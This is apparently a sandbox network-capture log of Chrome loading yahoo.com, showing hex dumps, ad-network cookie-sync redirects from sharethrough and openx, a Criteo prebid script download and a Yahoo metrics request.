2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 17 59 28 a4 01 19 65 0b 1a 98 81 9e 8c 94 c8 70 1c 7a 72 39 18 cb 7a cb 64 ee c0 a2 5b 17 ef 7a 4b ca bd 2b a5 eb 6c cc b4 97 0a 49 e9 e0 80 ab cc 90 43 be b2 52 41 53 97 04 8c 14 04 e0 f7 3c f7 e3 db 2a 38 7f 29 e7 5d 94 76 ea 4b 3d fa 58 e3 8e d3 32 dd 28 1c d2 56 52 f9 88 c9 12 af 67 0c 5d 80 5d cc ad b7 83 82 dd f6 f2 c5 3d d0 39 b7 cb 25 4b 73 d2 3e 6d 45 65 2d aa 41 5d 43 24 34 f1 d2 a2 02 e5 e4 df b1 e4 58 c8 ec a0 b3 00 78 09 8c 02 33 d1 12 06 96 4f bb 9d 81 fe d1 34 f3 d0 5b 1e 9e 96 98 54 4e 91 c0 ff 00 68 a8 c4 64 33 17 56 dd ec 3d 23 86 04 82 4f 3d 2f 2e 4b ad 88 fa 1b 47 51 5b ec f4 d7 08 e4 31 56 d4 a0 98 e1 0e f8 63 76 f4 c6 4f 27 3b 4a 92 4f 39 cf cf 81 2d d9 2a 3d 46 77 d7 57 6a 2f 19 7c 4d b7 5e ad d5 93 d3 69 da 46 48 a1 79 57 6e 21 55 Data Ascii: Y(epzr9zd[zK+lICRAS<8)]vK=X2(VRg]]=9%Ks>mEe-A]C$4Xx3O4[TNhd3V=#O=/.KGQ[1VcvO';JO9-=FwWj/\|M^iFHyWn!U
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: cb f4 65 fe e8 e9 22 a7 8e 4a 33 5f 5a e2 b5 36 98 f7 2b c4 85 99 b6 0c 79 85 ca fa b0 38 0e 32 39 07 d6 f7 9d 4f 70 9d de c7 e6 aa 10 58 e3 af b8 5a 6b 0e c1 02 00 91 87 74 85 1d cb 32 c7 95 cb 3b b0 1c 96 c0 18 e1 47 1d 1a 73 4f 74 53 bb 05 f5 dd e6 4d 37 e1 6b d6 79 75 d4 55 fa af cb a2 08 cf b0 c1 1e d6 de e4 7b 1d 8a c4 fb f2 00 ea f6 eb 3c 91 1d 98 ad f0 da d7 47 3e 9f a6 b4 c1 1f d8 28 2e 4c f4 b1 bf a9 de 47 32 98 f8 07 ee 29 59 14 0c e3 95 cf 27 3d 7a a2 51 63 49 65 0e ab 97 86 94 d4 7a 42 ed a6 b4 e5 0a 4b 2d 29 f3 d5 9d 40 69 89 89 59 48 c0 ee 5c 26 df 6c 2f 03 e7 49 36 d0 09 a3 a5 b6 e5 0d 60 b7 6a 7a 79 cc b4 b7 43 15 3a 44 41 53 4f 23 95 60 a4 83 d8 38 46 e4 67 24 8e c7 1d 01 e6 2f 72 ad 24 83 ef 0d 34 a5 c2 cf a8 2b 05 6a 23 53 dd 25 4a d0 Data Ascii: e"J3_Z6+y829OpXZkt2;GsOtSM7kyuU{<G>(.LG2)Y'=zQcIezBK-)@iYH\&l/I6`jzyC:DASO#`8Fg$/r$4+j#S%J
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 91 22 75 71 fc d0 e4 e3 39 c0 6c 9e 4f 5a 31 5d 28 13 c3 e0 ae d6 e2 c5 15 35 a6 dd 4f 53 1d be e5 4b 4b 51 53 24 a5 df cb 91 e4 98 2f 96 c0 8c 82 64 c3 82 71 df 6f 00 82 03 72 f1 d2 c6 29 47 6d c6 d4 f5 7a 9a e5 a4 e8 6f 56 b3 25 15 55 7d ba 9e a2 a2 a2 25 f3 0a ed 2a e1 48 c8 e7 ef 03 f2 e7 a5 2e 6e 5d b3 5b 01 9b 59 08 74 d5 92 c1 a9 ac e6 ba 8a ae 59 7c ea b9 1a ab 8d bb 6a 16 4c 96 f2 f2 55 5b 18 3f 9f 20 1e 3a 3c 57 7e b2 c5 db 0f 74 d5 c2 38 6a e2 a5 ab 91 c4 be 5b 46 85 97 1b dd b9 f9 fb 64 67 f3 eb 66 d9 74 c7 73 3a e1 65 91 ee ec 6e 97 29 65 a3 a4 59 cd 40 58 54 b0 c8 07 9d cf f8 e3 9f c8 74 2b 98 a9 33 d1 e0 e9 60 fb 74 14 af 45 51 ea 48 60 45 46 f9 c8 e5 8b 0f dd b0 fe 7d 37 6e 96 05 eb 72 4b ba 13 fa 3c d3 95 ee 08 07 3d 8f b1 ea d2 e4 ae 48 Data Ascii: "uq9lOZ1](5OSKKQS$/dqor)GmzoV%U}%*H.n][YtY\|jLU[? :<W~t8j[Fdgfts:en)eY@XTt+3`tEQH`EF}7nrK<=H
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: dc ac 91 6e d7 8a 0b ed 46 85 a8 6b 65 da 2a 38 4c ad 24 45 15 43 b1 de f8 0d fe 50 c6 a0 73 8c 0d 99 c6 7a f2 49 3d 81 c9 e4 be ad a9 b9 da ad 94 14 d4 12 0a ea fb 77 97 f6 89 a4 38 dc b2 2b 0d d9 ee 3d 8e 01 ce 08 fa 90 74 ff 00 e8 0c e3 d5 c9 35 eb 60 b7 51 2b 5d 2a d2 1a ea b6 59 9a 81 c6 0a 47 82 5d dc 77 e4 12 3f 21 c0 e7 a2 c6 3d e1 49 6c 12 e9 f3 15 5d 1c b5 f1 3e e8 a7 91 a5 8c e0 8f 41 fb 9c 1e 7e e8 5e f8 fc 07 4e 25 81 69 ee 7e dc 23 85 e1 6d e3 25 41 2a 3f 9d d4 e0 0a 65 74 70 bc 50 bc 4d c1 27 77 f0 03 af 38 84 47 19 cc 74 ef ba 55 62 25 6c 2e 5b bb 63 1d 05 f2 59 3c 02 f7 a5 68 ea bd 74 d1 c9 9c fd ee 71 d5 71 80 b0 60 d8 ae a8 67 64 01 63 db c7 00 73 d2 ec 3a 58 3a ea 59 e2 9a 80 b0 5d d2 ec 18 39 e9 0b 86 39 49 60 f3 43 e2 4c 23 78 a7 aa Data Ascii: nFke8L$ECPszI=w8+=t5`Q+]YG]w?!=Il]>A~^N%i~#m%A*?etpPM'w8GtUb%l.[cY<htqq`gdcs:X:Y]99I`CL#x
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: a4 f7 0a 9d db b6 19 14 ed a7 84 11 90 83 19 c9 e7 bf f2 b8 72 da 3d 42 b5 36 18 1a 52 e7 15 44 32 d2 f9 ea ea 59 94 e3 f8 74 e6 05 dc b2 7f 4e ad 1c 92 ab af 29 b9 bf 1c ff 00 f6 ea 52 c1 42 05 d2 e1 ba e2 d4 91 fa 5a 39 63 3f e9 23 8e 1b e9 c8 71 8f e6 9f a7 5e c0 4c 32 de ba 38 4d 6d 3f 9b 0b c9 fa d5 23 6f b7 40 7b 33 c8 12 d6 83 15 f3 4a 07 dd f6 ea ad a0 b1 62 ce e5 33 99 61 92 2e 15 9f 83 f3 e9 17 b0 e4 7f 32 5d c6 78 ab 68 e5 a8 88 a8 00 b2 60 0c 76 24 7f 67 f4 f4 85 c4 87 b6 ce c7 9c 7f 14 87 1e 2a ea ac 7f ea 50 ff 00 b4 a4 e9 eb 1f 48 4e e3 e7 02 34 c2 67 43 ea c6 1e f6 a9 7f a3 a7 9a d9 b1 5a 8b e2 45 de 96 3f e2 e5 98 63 ff 00 23 87 fa 8b d7 cf f5 37 e7 4c fa 76 99 e8 40 2d a6 42 b1 80 7d fa c4 34 bd c1 af 11 a2 0d a4 ab 39 fe 47 f5 d4 7f 6f Data Ascii: r=B6RD2YtN)RBZ9c?#q^L28Mm?#o@{3Jb3a.2]xh`v$g*PHN4gCZE?c#7Lv@-B}49Go
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: b2 0a 37 32 c4 54 7e ca a8 ef ec 09 21 b9 cf cb ac ab 9a fd 26 e5 bd be 77 2b 5a ef 6b 16 c9 e8 e1 99 8f 96 21 52 c5 48 0c ce a0 e4 7c c1 2d fb f3 d6 6b b8 0f 2a 19 d8 c0 1f 14 48 cd e2 ae aa e3 b5 14 3f d7 a4 3d 6f 58 fa 46 5d d7 c3 30 2f 4a 90 ba 1b 56 79 83 19 b5 4a 17 ea 71 db a7 e9 3c a6 2f 53 94 59 e8 e0 b2 58 6c a7 3d a9 22 e3 e7 e9 eb e7 9a a7 af 33 e9 ba 5f a1 00 e6 9c 09 10 36 3f 2e b1 25 b1 a6 90 37 e2 3a e3 49 d5 9c 7e d4 5f ed 17 a7 f4 a7 f8 84 02 f3 d3 62 8e 86 3c 03 26 ef 62 31 d7 4d 5b 82 d6 71 d8 bb a1 6f f2 7c 76 39 e9 2a af 26 f5 b9 36 49 37 10 00 c0 1d 44 16 e8 25 7e 0f 5e 7e 16 eb 69 6d 9a 76 7a 9a b9 d6 38 a1 b5 50 a9 66 3d fd 19 fe de bb 3b 57 f0 a3 e5 dd b2 59 ee d2 fd cf ed 71 e2 8d a6 b7 e2 47 48 59 a9 1a 2a 98 2c f6 f6 96 57 51 Data Ascii: 72T~!&w+Zk!RH\|-kH?=oXF]0/JVyJq</SYXl="3_6?.%7:I~_b<&b1M[qo\|v9&6I7D%~^~imvz8Pf=;WYqGHY*,WQ
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 56 e8 25 c3 d8 f4 e3 4d 55 fe 8c d2 34 75 6f 3a c7 1c 14 11 3c a5 a5 09 e9 08 a0 9f 99 c6 ec f1 d7 5b 6c fe 13 e6 1d a2 59 94 44 76 83 d5 95 57 8f 88 4b 95 e1 25 de 9e 72 ec 3f cb 01 bd 03 f1 da a3 a0 5c 5c 3b 77 13 3e de db 34 64 6e b6 61 3e 25 db 8d c3 38 cf 6e 9c 5a 86 c6 43 d3 f7 14 1a 2b 5b dc 35 45 e2 bb 53 5e a8 5a 4f d0 f6 f9 aa 56 33 17 aa 40 ec cd e8 e7 91 e8 db f8 ee 1d 32 d6 c2 f5 9f e4 42 ae 9e ef a8 b4 55 c3 55 de 2e f5 35 00 41 35 75 28 a7 25 21 86 2f 2c c8 a9 b5 54 07 da 31 f7 87 3b 7a 56 53 26 1c 15 96 0a 0b 3c 3a 2e 92 a7 55 56 c9 15 1d 33 99 9d 94 06 a5 95 a4 0a f1 bc 87 1c ed 0c c3 20 81 f3 ee 3a 04 b7 0f 12 bf 5c e9 4b 96 a4 b4 c1 a4 ad 6e 90 db a4 9d 2a eb 2b d9 bf c8 2a 30 61 14 7f b0 38 0b ea 24 85 c7 dd 39 e2 98 c1 2d 8d 3a 3a 7a Data Ascii: V%MU4uo:<[lYDvWK%r?\\;w>4dna>%8nZC+[5ES^ZOV3@2BUU.5A5u(%!/,T1;zVS&<:.UV3 :\Kn+0a8$9-::z
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 0a 3b 0b da a6 86 3a 99 a4 66 a5 10 28 32 19 18 12 ac 02 81 92 7b 8c 75 9d ef c0 45 2e 9d d9 6d e1 47 87 9a a2 93 42 9d 2d 7c d3 91 c1 4b 15 5d 42 46 b5 6c a4 4f 4a 59 84 7b 94 64 8c c6 40 f5 00 7a 6a 36 c7 bc 42 41 4d c7 c3 fb a0 b5 fe 88 a0 a6 b7 bd 3c 6e 8e aa 64 64 f5 a8 c0 03 8c 60 03 db eb 9e a2 bd be db 02 f1 0b 24 4b 64 f7 ab 10 a6 5b f5 a5 a3 10 46 4e e0 a4 a9 e7 d9 94 e0 e4 00 7a cd e9 ac 98 4e ac a2 cf 52 55 53 1b 6f da 0c 31 cd 0b 11 08 da a4 65 a4 21 17 38 3c 72 71 f9 f4 72 10 be b8 50 68 bb 45 b6 5b 85 a6 d7 4b 44 b6 ea 98 b3 e5 c4 b9 57 8e 74 46 4c e3 b9 23 1f eb 0e a3 2d 16 c6 5e 03 88 ee 16 ff 00 d3 46 a6 aa 45 58 e3 c3 92 cd 8e de df c7 ab 46 be 08 94 70 5a 4e cf a9 25 9a 5b 45 35 44 aa b8 09 32 c4 7c b6 ce 7b 31 e3 db a7 30 da 28 da f7 Data Ascii: ;:f(2{uE.mGB-\|K]BFlOJY{d@zj6BAM<ndd`$Kd[FNzNRUSo1e!8<rqrPhE[KDWtFL#-^FEXFpZN%[E5D2\|{10(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50043	35.172.59.103	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:02 UTC	800	OUT	GET /FGMrCMMc/v1?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redirectUri=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsharethrough%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:02 UTC	417	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:02 GMT Content-Length: 0 Connection: close Location: https://pbs.yahoo.com/setuid?bidder=sharethrough&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=51b9513d-31fb-4e13-8a96-326616d0043f Set-Cookie: stx_user_id=51b9513d-31fb-4e13-8a96-326616d0043f; Max-Age=2592000; Expires=Mon, 27 May 2024 22:42:02 GMT; Path=/; Domain=sharethrough.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50044	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:02 UTC	962	OUT	GET /w/1.0/cm?id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-04-27 22:42:02 UTC	709	IN	HTTP/1.1 302 Moved Temporarily Set-Cookie: i=0903015b-a24b-050d-2460-e2515cc5bd23\|1714257722; Version=1; Expires=Sun, 27-Apr-2025 22:42:02 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://u.openx.net/w/1.0/cm?cc=1&id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D Date: Sat, 27 Apr 2024 22:42:02 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50045	74.119.117.4	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:02 UTC	546	OUT	GET /js/ld/publishertag.prebid.144.js HTTP/1.1 Host: static.criteo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:02 UTC	484	IN	HTTP/1.1 200 OK server: nginx date: Sat, 27 Apr 2024 22:42:02 GMT content-type: text/javascript content-length: 98590 last-modified: Fri, 27 Oct 2023 06:43:26 GMT etag: "653b5c0e-1811e" expires: Sun, 28 Apr 2024 22:42:02 GMT cache-control: max-age=86400 cross-origin-resource-policy: cross-origin cache-control: public timing-allow-origin: * access-control-allow-origin: * accept-ranges: bytes strict-transport-security: max-age=31536000; preload; connection: close
2024-04-27 22:42:02 UTC	15900	IN	Data Raw: 2f 2f 20 48 61 73 68 3a 20 69 6f 78 78 64 6a 48 44 7a 46 42 74 35 30 6a 73 4b 48 63 55 4c 6f 45 6a 66 50 6a 6e 37 46 75 70 48 55 4f 62 55 58 54 45 75 6c 48 31 69 49 6d 63 61 54 31 4f 59 59 71 34 6e 58 65 64 76 2b 76 36 79 73 74 4c 2f 6d 63 69 77 34 33 65 4e 32 4e 31 73 42 71 75 6b 45 63 42 31 47 33 79 4c 61 6f 7a 77 41 51 6f 5a 61 72 49 76 70 65 2b 6f 70 32 49 38 64 44 57 43 72 6e 6d 51 4c 35 61 41 33 54 52 46 41 32 68 49 47 4d 45 73 47 44 50 64 6c 6a 49 66 5a 6c 78 50 4b 42 35 54 74 38 72 5a 4d 6b 77 64 38 54 2b 37 55 45 4a 4f 44 6b 3d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6e 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 Data Ascii: // Hash: ioxxdjHDzFBt50jsKHcULoEjfPjn7FupHUObUXTEulH1iImcaT1OYYq4nXedv+v6ystL/mciw43eN2N1sBqukEcB1G3yLaozwAQoZarIvpe+op2I8dDWCrnmQL5aA3TRFA2hIGMEsGDPdljIfZlxPKB5Tt8rZMkwd8T+7UEJODk=!function(e){"use strict";var n=function(e,t){return(n=Object.setPrototyp
2024-04-27 22:42:03 UTC	16319	IN	Data Raw: 49 54 45 4f 5f 43 53 4d 5f 43 4f 55 4e 54 45 52 53 5f 48 41 4e 44 4c 45 52 3d 22 63 73 6d 2f 63 6f 75 6e 74 65 72 73 22 2c 62 65 2e 43 52 49 54 45 4f 5f 45 52 52 4f 52 5f 48 41 4e 44 4c 45 52 3d 22 65 72 72 6f 72 22 2c 62 65 2e 43 52 49 54 45 4f 5f 42 49 44 44 45 52 5f 41 55 44 49 54 5f 48 41 4e 44 4c 45 52 3d 22 70 72 65 62 69 64 2f 61 75 64 69 74 22 2c 62 65 29 3b 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 74 68 69 73 2e 61 75 64 69 74 4d 6f 64 65 3d 65 7d 76 61 72 20 77 65 3d 28 43 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 45 76 65 6e 74 73 54 6f 42 65 61 63 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 26 26 65 26 26 6e 61 Data Ascii: ITEO_CSM_COUNTERS_HANDLER="csm/counters",be.CRITEO_ERROR_HANDLER="error",be.CRITEO_BIDDER_AUDIT_HANDLER="prebid/audit",be);function be(e){void 0===e&&(e=!1),this.auditMode=e}var we=(Ce.prototype.sendEventsToBeacon=function(e,t){navigator.sendBeacon&&e&&na
2024-04-27 22:42:03 UTC	16384	IN	Data Raw: 3d 3d 69 26 26 28 69 3d 21 31 29 2c 74 68 69 73 2e 70 69 78 65 6c 53 79 6e 63 45 6e 64 70 6f 69 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 73 70 2d 73 79 6e 63 2e 63 72 69 74 65 6f 2e 63 6f 6d 2f 75 73 65 72 2d 73 79 6e 63 2f 70 69 78 65 6c 73 22 2c 74 68 69 73 2e 70 69 78 65 6c 53 79 6e 63 54 69 6d 65 6f 75 74 3d 32 65 33 2c 74 68 69 73 2e 65 72 72 6f 72 52 65 70 6f 72 74 65 72 3d 74 2c 74 68 69 73 2e 6f 6e 50 69 78 65 6c 73 52 65 74 72 69 65 76 65 64 3d 65 2c 74 68 69 73 2e 64 65 62 75 67 3d 69 7d 76 61 72 20 65 74 3d 28 74 74 2e 65 78 65 63 55 73 65 72 53 79 6e 63 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 21 31 29 2c 6e 65 77 20 24 65 28 74 74 2e 61 70 70 65 6e 64 55 73 65 72 53 79 6e 63 50 69 78 Data Ascii: ==i&&(i=!1),this.pixelSyncEndpoint="https://ssp-sync.criteo.com/user-sync/pixels",this.pixelSyncTimeout=2e3,this.errorReporter=t,this.onPixelsRetrieved=e,this.debug=i}var et=(tt.execUserSync=function(e,t,i,n){void 0===n&&(n=!1),new $e(tt.appendUserSyncPix
2024-04-27 22:42:03 UTC	16384	IN	Data Raw: 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 31 30 29 2c 72 3d 7b 5f 5f 75 73 70 61 70 69 43 61 6c 6c 3a 7b 63 6f 6d 6d 61 6e 64 3a 65 2c 70 61 72 61 6d 65 74 65 72 3a 74 2c 63 61 6c 6c 49 64 3a 6e 7d 7d 3b 6f 2e 75 73 70 61 70 69 43 61 6c 6c 62 61 63 6b 73 5b 6e 5d 3d 69 2c 73 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 72 2c 22 2a 22 29 7d 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 57 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 61 74 61 3f 76 74 28 65 2e 64 61 74 61 29 3a 65 2e 64 61 74 61 3b 69 66 28 74 26 26 74 2e 5f 5f 75 73 70 61 70 69 52 65 74 75 72 6e 26 26 74 2e 5f 5f 75 73 70 61 70 69 52 65 Data Ascii: om().toString(10),r={__uspapiCall:{command:e,parameter:t,callId:n}};o.uspapiCallbacks[n]=i,s.postMessage(r,"*")},this.currentWindow.addEventListener("message",function(e){var t="string"==typeof e.data?vt(e.data):e.data;if(t&&t.__uspapiReturn&&t.__uspapiRe
2024-04-27 22:42:03 UTC	960	IN	Data Raw: 6e 28 6e 2c 22 6f 6e 53 75 63 63 65 73 73 22 2c 65 29 7d 6e 2e 63 6f 6e 74 65 78 74 2e 72 65 6d 6f 74 65 4c 6f 67 67 69 6e 67 2e 73 65 6e 64 45 72 72 6f 72 52 65 70 6f 72 74 28 73 2e 75 72 6c 42 75 69 6c 64 65 72 2c 61 29 2c 73 2e 6d 65 74 72 69 63 42 75 69 6c 64 65 72 3d 76 6f 69 64 20 30 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 72 79 7b 64 2e 72 65 71 75 65 73 74 52 65 63 65 69 76 65 64 28 29 2c 76 6f 69 64 20 30 21 3d 3d 73 2e 63 61 6c 6c 62 61 63 6b 45 72 72 6f 72 26 26 73 2e 63 61 6c 6c 62 61 63 6b 45 72 72 6f 72 28 65 2c 74 29 2c 64 2e 66 69 6e 69 73 68 28 29 2c 72 2e 67 65 74 4d 65 74 72 69 63 73 4d 61 6e 61 67 65 72 28 29 2e 73 65 6e 64 45 76 65 6e 74 73 28 72 2c 61 2c 21 30 29 7d 63 61 74 63 68 28 65 29 7b 73 2e 72 65 70 6f 72 74 41 73 Data Ascii: n(n,"onSuccess",e)}n.context.remoteLogging.sendErrorReport(s.urlBuilder,a),s.metricBuilder=void 0},function(e,t){try{d.requestReceived(),void 0!==s.callbackError&&s.callbackError(e,t),d.finish(),r.getMetricsManager().sendEvents(r,a,!0)}catch(e){s.reportAs
2024-04-27 22:42:03 UTC	16384	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 63 72 69 74 65 6f 22 3d 3d 3d 65 2e 62 69 64 64 65 72 43 6f 64 65 7d 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 7d 7d 2c 4e 74 2e 67 65 74 52 65 71 75 65 73 74 41 75 63 74 69 6f 6e 53 74 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 61 75 63 74 69 6f 6e 53 74 61 72 74 7d 2c 4e 74 2e 4e 41 4d 45 3d 22 64 69 72 65 63 74 62 69 64 64 69 6e 67 22 2c 4e 74 29 2c 42 74 3b 66 75 6e 63 74 69 6f 6e 20 4e 74 28 65 2c 74 2c 69 2c 6e 2c 72 2c 6f 2c 73 2c 61 2c 63 2c 64 2c 6c 2c 75 2c 70 29 7b 76 61 72 20 68 3d 42 74 2e 63 61 6c 6c 28 74 68 69 73 2c 4e 74 2e 4e 41 4d 45 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 68 2e 70 72 6f 66 69 6c 65 49 64 3d 65 2c 68 2e 75 Data Ascii: (function(e){return"criteo"===e.bidderCode})}catch(e){return}},Nt.getRequestAuctionStart=function(e){return e&&e.auctionStart},Nt.NAME="directbidding",Nt),Bt;function Nt(e,t,i,n,r,o,s,a,c,d,l,u,p){var h=Bt.call(this,Nt.NAME)\|\|this;return h.profileId=e,h.u
2024-04-27 22:42:03 UTC	16259	IN	Data Raw: 28 55 69 2e 49 44 43 50 59 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 29 7d 2c 55 69 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 6f 63 61 6c 57 65 62 49 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 72 65 61 74 65 47 75 69 64 28 55 69 2e 4c 57 49 44 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 29 7d 2c 55 69 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 70 74 4f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 46 69 28 42 6f 6f 6c 65 61 6e 2c 55 69 2e 4f 50 54 4f 55 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 2c 55 69 2e 4f 50 54 4f 55 54 5f 52 45 54 45 4e 54 49 4f 4e 5f 54 49 4d 45 5f 48 4f 55 52 2c 74 68 69 73 2e 73 74 6f 72 61 67 65 41 64 61 70 74 65 72 29 7d 2c 55 69 2e 70 72 6f 74 6f 74 79 70 65 2e 62 75 6e 64 6c 65 3d 66 75 6e 63 Data Ascii: (Ui.IDCPY_COOKIE_NAME)},Ui.prototype.localWebId=function(){return this.createGuid(Ui.LWID_COOKIE_NAME)},Ui.prototype.optOut=function(){return new Fi(Boolean,Ui.OPTOUT_COOKIE_NAME,Ui.OPTOUT_RETENTION_TIME_HOUR,this.storageAdapter)},Ui.prototype.bundle=func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50046	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:03 UTC	1741	OUT	POST /p?s=2023538075&t=1714257721443&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&ads_failure_total=0&ads_fetch_total=1&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=1&ads_slot_top_failure=0&ads_slot_top_total=0 HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 